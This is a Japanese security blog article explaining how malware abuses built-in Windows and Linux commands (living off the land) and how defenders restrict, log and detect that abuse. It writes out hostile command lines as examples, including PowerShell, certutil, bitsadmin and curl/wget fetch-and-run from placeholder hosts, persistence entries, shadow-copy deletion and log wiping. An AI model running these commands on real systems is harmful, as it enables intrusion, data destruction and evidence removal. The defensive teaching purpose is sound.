PR

マルウェアが悪用する OS コマンドと防御の考え方

本記事は学習用です。作成には ChatGPT と GitHub Copilot を使用しています。

1. 導入:マルウェアと OS コマンドの関係

1-1. OS コマンドとは何か

ここで扱う OS コマンド とは、Windows の tasklistipconfig、Linux の pscurl のように、OS に標準で含まれている実行可能プログラムやシェルコマンドを指す。

攻撃者やマルウェアは、これら本来は管理・運用目的のコマンドを悪用し、以下のような処理を行う。

  • 感染端末の情報収集(OS / ネットワーク / プロセスなど)
  • 追加マルウェアのダウンロード・実行
  • 横展開(他ホストへの侵入拡大)
  • 永続化(再起動後も活動を継続)
  • 痕跡の削除(ログ削除、シャドウコピー削除など)

JPCERT/CC が公開している調査によると、複数の攻撃グループが侵入後に Windows 標準コマンドを多用していることが定量的に示されている。(JPCERT/CC Eyes)

1-2. Living off the Land(LOTL)と LOLBins

近年よく出てくるキーワードとして Living off the Land(LOTL、環境寄生型) がある。

  • Living off the Land
    侵入先システムに元から存在する正規ツールや OS 機能だけを使い、マルウェアの活動を行う戦術。(Cisco Blogs)
  • LOLBins / LOLBAS
    • LOLBins(Living off the Land Binaries):OS や一般的アプリに含まれる正規バイナリのうち、攻撃に悪用されるもの。(サイバー犯罪調査知識体)
    • LOLBAS(Living off the Land Binaries and Scripts):上記に加え、スクリプトやライブラリまで含めた概念。

この戦術により、攻撃者は「新しい不審な exe ファイル」をほとんど使わずに活動できるため、シグネチャ型アンチウイルスだけでは検知が難しくなる。

2. 攻撃ライフサイクルと OS コマンド悪用の全体像

OS コマンドがどこで使われるかを整理するため、典型的な攻撃の流れと紐付けてみる。

2-1. 3 つのフェーズとコマンド利用

JPCERT/CC の調査では、攻撃グループが利用する Windows コマンドを次の 3 フェーズに分類している。(JPCERT/CC Eyes)

  1. 初期調査(感染端末の調査)
    • 端末の OS バージョン、プロセス一覧、ネットワーク設定などを確認
  2. 探索活動(情報・他ホストの探索)
    • 保存ファイル、共有フォルダ、ドメイン情報、他ホストなどを探索
  3. 感染拡大・横展開
    • 別ホストへの接続、追加マルウェアの展開、権限昇格

それぞれのフェーズで、特定のコマンドが繰り返し使われていることが統計的に示されている。

2-2. コマンド利用の例(Windows)

JPCERT/CC のランキングでは、例えば以下のコマンドが上位に挙がっている。(JPCERT/CC Eyes)

  • tasklist /s /v(実行中プロセスの詳細表示)
  • ver(OS バージョン)
  • ipconfig /all(IP, DNS などのネットワーク設定)
  • net time(ドメインまたは指定ホストの時刻)
  • systeminfo(詳細な OS 情報)
  • netstat -ano(ネットワークセッション)
  • whoami /all(ログオンアカウント情報)
  • nslookup(DNS 解決確認)

これらはすべて正規の管理用途でよく使うコマンドだが、攻撃者は同じ情報を「侵入後の偵察」に利用する。

3. Windows 環境でマルウェアが多用する主要 OS コマンド

3-1. 情報収集に使われるコマンド

システム・プロセス情報

tasklist /v
systeminfo
ver
whoami /all
qprocess
query user
  • tasklist /v → 実行中プロセス、セッション、サービス情報を一覧。RAT、EDR、AV などの存在確認に使われる。(JPCERT/CC Eyes)
  • systeminfover → OS バージョン、パッチレベル確認。利用可能なエクスプロイト判断に利用される。

ネットワーク・ドメイン情報

ipconfig /all
netstat -ano
net time
nslookup <domain>
net view
net group /domain
net user /domain
  • ipconfig /all → IP アドレス、DNS サーバ、ドメイン名などから、組織内ネットワークの構造を推測。(JPCERT/CC Eyes)
  • net group /domain / net user /domain → Active Directory 環境でグループやユーザを列挙し、特権アカウントを探す例が報告されている。(サイバーリーズン合同会社)

Cybereason の APT 事例でも、net.exe による AD 情報列挙や、ping.exenslookup.exe によるネットワーク探索が観測されている。(サイバーリーズン合同会社)

3-2. ダウンロード・実行に使われるコマンド

PowerShell

powershell -Command "IEX (New-Object Net.WebClient).DownloadString('https://example.com/a.ps1')"
  • powershell.exe は、HTTP(S) ダウンロード、Base64 デコード、リフレクションロードなど高機能なため、長年「ファイルレスマルウェア」の中心的存在だった。(Cisco Blogs)

EDR による PowerShell 検知が強化された結果、csc.exeinstallutil.exe など、別の標準バイナリを使う手法(LOLBAS)が増えているとの報告もある。(NEC)

certutil.exe

certutil -urlcache -split -f https://example.com/payload.exe payload.exe

bitsadmin.exe

bitsadmin /transfer myJob /download /priority normal https://example.com/payload.exe C:\Windows\temp\payload.exe
  • Windows の Background Intelligent Transfer Service (BITS) を操作するコマンド。ファイルダウンロードと同時に 永続化(再起動後の実行) にも利用されている事例がある。(unit42.paloaltonetworks.jp)

3-3. 永続化・サービス操作に使われるコマンド

schtasks /Create /SC MINUTE /MO 30 /TR "C:\malware.exe" /TN "Updater"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /d "C:\malware.exe"
sc create Updater binPath= "C:\malware.exe" start= auto
wmic process call create "C:\malware.exe"
  • schtasks → タスクスケジューラへの登録。再起動後にマルウェアを実行させる典型的手法。
  • reg add → レジストリ Run キー書き換えによる自動起動。
  • sc create / sc config → Windows サービスとしてマルウェアを登録して常駐させる。
  • wmic process call create → WMI 経由のプロセス生成として横展開やローカル実行に利用。(サイバーリーズン合同会社)

3-4. ログ削除・バックアップ破壊に使われるコマンド

ランサムウェアなどでは、復旧・調査を困難にするために以下のコマンドが利用されることが多い。

wevtutil cl Security
wevtutil cl System
vssadmin delete shadows /all /quiet
bcdedit /set {default} recoveryenabled No
  • wevtutil cl → Windows イベントログの削除。
  • vssadmin delete shadows → シャドウコピー削除によるバックアップ破壊。
  • bcdedit → 回復オプション無効化などに悪用される。

これらは多くのランサムウェアファミリで共通して観測されており、「これらのコマンド+特定のオプション」 は非常に強い IOC(侵害の痕跡)になることが多い。(サイバーリーズン合同会社)

4. Linux / UNIX 環境で悪用される OS コマンド

クラウドやコンテナ環境の普及により、Linux ネイティブツールの悪用事例も増加している。

4-1. ダウンロード・実行系

Trend Micro の分析では、以下の Linux ツールが実際の攻撃で悪用されていることが報告されている。(www.trendmicro.com)

curl http://example.com/m.sh | sh
wget http://example.com/m.sh -O- | sh
chmod +x m.sh && ./m.sh
chattr -i -a /var/log/secure
  • curl / wget → シェルスクリプトや ELF バイナリをダウンロードし、そのまま sh にパイプすることでディスクに残さず実行するテクニックが多用される。(DNP 大日本印刷株式会社)
  • chmod / chattr → 実行権限付与や属性変更による隠蔽。chattr +i による改変防止なども使われる。

コンテナ環境を狙う「TeamTNT」や「8220 Gang」なども、curl / wget を使ったマイナーのダウンロード、bash へのパイプ実行、cron を使った永続化などを多用している。(DNP 大日本印刷株式会社)

4-2. 情報収集系

uname -a
cat /etc/os-release
ps aux
netstat -antp
ss -antp
ip a
route -n
id
who
last
  • OS バージョンやカーネル (uname, /etc/os-release)
  • プロセス一覧 (ps aux)
  • ネットワーク接続 (netstat, ss, ip)
  • ログインユーザ (who, last)

これらは、どの程度権限を持ったホストか、どのサービスが動作しているかを把握するために使われる。(www.trendmicro.com)

4-3. 永続化・横展開

crontab -l
crontab -e
echo "*/5 * * * * /usr/local/bin/miner" | crontab -
ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa
ssh -i ~/.ssh/id_rsa user@target 'curl http://... | sh'
  • crontab → クリプトマイナーやボットを 5 分おきなどで再実行させる永続化に多用。(www.trendmicro.com)
  • ssh → SSH 鍵を生成し、他ホストにログインしてマルウェアをコピーする横展開の手段として使われる。(www.trendmicro.com)

4-4. ログ変造・削除

echo "" > /var/log/auth.log
> /var/log/secure
history -c
  • ログファイルを空にする・history -c でシェル履歴を消すなど、調査を妨害する目的で利用される。これらも典型的な IOC になる。(www.trendmicro.com)

5. OS コマンド悪用と OS コマンド・インジェクションの違い

5-1. OS コマンド・インジェクションとは

OS コマンド・インジェクション は、Web アプリや機器のソフトウェアがユーザ入力を検証せずに OS コマンドとして実行してしまう脆弱性であり、攻撃者は任意のコマンドを注入できる。(経済産業省)

  • 例:PHP で system($_GET['cmd']); のように外部入力をそのまま渡すケース
  • 結果として、curlwgetpowershellcmd.exe などの OS コマンド実行を許してしまう

5-2. マルウェアによる OS コマンド悪用との関係

  • インジェクション は「任意コマンドを実行する入口の脆弱性」
  • マルウェアの OS コマンド悪用 は「入口を得たあと、実際にどのコマンドをどう使って活動するか」の話

つまり、インジェクションで入口を取られた結果、この記事で挙げたような OS コマンドが大量に実行される、という関係にある。

6. 代表的な攻撃事例から見る OS コマンド悪用

公表されている事例をいくつかピックアップし、どの OS コマンドがどう使われているかを整理する。

6-1. JPCERT/CC の Windows コマンド調査

JPCERT/CC の「攻撃者が悪用するWindowsコマンド」では、3 グループの攻撃ログから実際に実行されたコマンドを集計し、フェーズ別にランキングしている。(JPCERT/CC Eyes)

  • 初期調査フェーズ
    • tasklist, ver, ipconfig, systeminfo など
  • 探索活動フェーズ
    • net time, netstat, qprocess, whoami, net start, nslookup など
  • 感染拡大フェーズ
    • net use, net view, copy, xcopy などが多い傾向

このレポートは、「一般ユーザがほとんど使わないのに攻撃者は多用するコマンド」 を特定し、その実行を制限・監視するという防御戦略を提案している。

6-2. APT / スパイ系攻撃での OS コマンド利用

Cybereason による国家系 APT「Cuckoo Spear」関連の分析では、Active Directory 情報の収集やネットワーク探索に net.exe, ping.exe, nslookup.exe などが多用されている。(サイバーリーズン合同会社)

典型的なコマンド例:

net group "Domain Admins" /domain
ping -n 1 <host>
nslookup <server>

これらはすべて OS 標準のコマンドであり、ファイル自体は完全に「正規」 のため、署名ベースの検知では違和感が出ない。

6-3. Linux クリプトマイナー系マルウェア

Trend Micro や各社の分析レポートでは、Linux クリプトマイナー系マルウェアが以下のような攻撃フローを取るパターンが共有されている。(www.trendmicro.com)

  1. サーバの公開サービスやコンテナ API の設定不備を悪用
  2. 侵入後、curl / wget でマイナーとスクリプトをダウンロード
  3. bash にパイプしてファイルレスで実行
  4. crontab / systemd で永続化
  5. ps / pkill で他マイナーを停止
  6. ログや履歴を消去

このように、マルウェア本体よりも OS コマンドの使い方に着目する方が、行動パターンを理解しやすい 場合も多い。

7. 防御側が取るべき対策と監視のポイント

OS コマンド悪用に対しては、「コマンドそのものを完全に禁止する」のは現実的でないことが多い。そのため、制限・監視・検知のバランス を取る必要がある。

7-1. OS コマンド実行の制限

Windows

  • AppLocker / WDAC(Windows Defender Application Control) などのホワイトリスト機能で、以下のような制限を検討する。(NEC)
    • powershell.exe の完全禁止ではなく「特定の署名付きスクリプトのみ許可」
    • certutil.exe, bitsadmin.exe, wmic.exe など、通常ユーザが不要なコマンドを制限
  • JPCERT/CC のランキングを参考に、「通常業務でほぼ不要なコマンド」を洗い出し、部門別にポリシーを分ける。(JPCERT/CC Eyes)

Linux / コンテナ

  • コンテナイメージから不要なツール(curl, wget, gcc, make など)を削除し、最小構成イメージ を使う。(www.trendmicro.com)
  • root ログインやパスワード認証を禁止し、鍵認証+多要素認証を徹底。
  • SSH 経由でのコマンド実行を監査ログに必ず残す。

7-2. コマンドログの収集と相関分析

OS コマンド悪用は、単独のコマンドよりも 「短時間に実行されるコマンドの連続パターン」 が重要になる。

例(Windows):

  1. whoami /all
  2. ipconfig /all
  3. netstat -ano
  4. net group "Domain Admins" /domain
  5. powershell / certutil / bitsadmin

例(Linux):

  1. uname -a, cat /etc/os-release
  2. curl http://... | sh
  3. crontab -lcrontab -
  4. ps aux, pkill

SIEM / EDR を用いて、「特定ユーザ・端末からこのようなパターンが現れたら検知する」といったルールを定義することが重要となる。(www.trendmicro.com)

7-3. LOTL / LOLBins への対抗策

Living off the Land 攻撃に対しては、次のような考え方が有効とされる。(www.trendmicro.com)

  • 振る舞いベース検知
    • certutil が外部 URL へアクセス」「wevtutil cl が多用される」「vssadmin delete shadows の実行」など、挙動に着目。
  • 権限の最小化
    • 通常ユーザに管理者権限を与えないことで、多くの危険なコマンドを実行できない状態にする。
  • ログの長期保全
    • LOL 攻撃は痕跡を残さないことを狙うが、中央集約されたログは消されにくい。
    • Sysmon, auditd, EDR などでコマンド実行を記録し、SIEM へ集約。

8. まとめ

  • マルウェアや侵入者は、OS に標準搭載されたコマンド(OS コマンド)を多用 して活動する。
  • Windows では tasklist, ipconfig, netstat, net, schtasks, reg, certutil, bitsadmin, powershell, wevtutil, vssadmin 等が頻出であることが、JPCERT/CC などの調査で明らかになっている。(JPCERT/CC Eyes)
  • Linux / コンテナ環境では curl, wget, bash, cron, ssh, ps, pkill などが、多くのマルウェアファミリで共通して悪用されている。(www.trendmicro.com)
  • これらはすべて「正規のツール」であり、Living off the Land(LOTL)および LOLBins という戦術の一部として利用されるため、ファイルシグネチャだけに頼る検知は限界がある。(Cisco Blogs)
  • 防御側としては、
    • 不要なコマンドの実行制限(AppLocker / WDAC, コンテナ最小化など)
    • コマンド実行ログの収集・相関分析
    • 振る舞いベースの検知ルール
    • 権限の最小化・多要素認証 を組み合わせて、OS コマンド悪用のリスクを下げていく必要がある。

A. 参考サイト

  1. 攻撃者が悪用するWindowsコマンド (JPCERT/CC)(2015-12-02)(JPCERT/CC Eyes)
  2. 攻撃者がよく使うWindowsコマンドのランキング発表(INTERNET Watch)(INTERNET Watch)
  3. Linuxのネイティブツールを悪用した攻撃方法に関する解説(Trend Micro)(www.trendmicro.com)
  4. Living Off The Land(LotL:環境寄生型)のサイバー攻撃~攻撃者が正規ツールを悪用する理由~(Trend Micro セキュリティブログ)(www.trendmicro.com)
  5. Living off the land というサイバー攻撃の方法論(NEC サイバーセキュリティブログ)(NEC)
  6. 脅威ハンティング: LOLBinから企業の最重要資産まで(Cybereason)(サイバーリーズン合同会社)

B. 関連書籍

コメント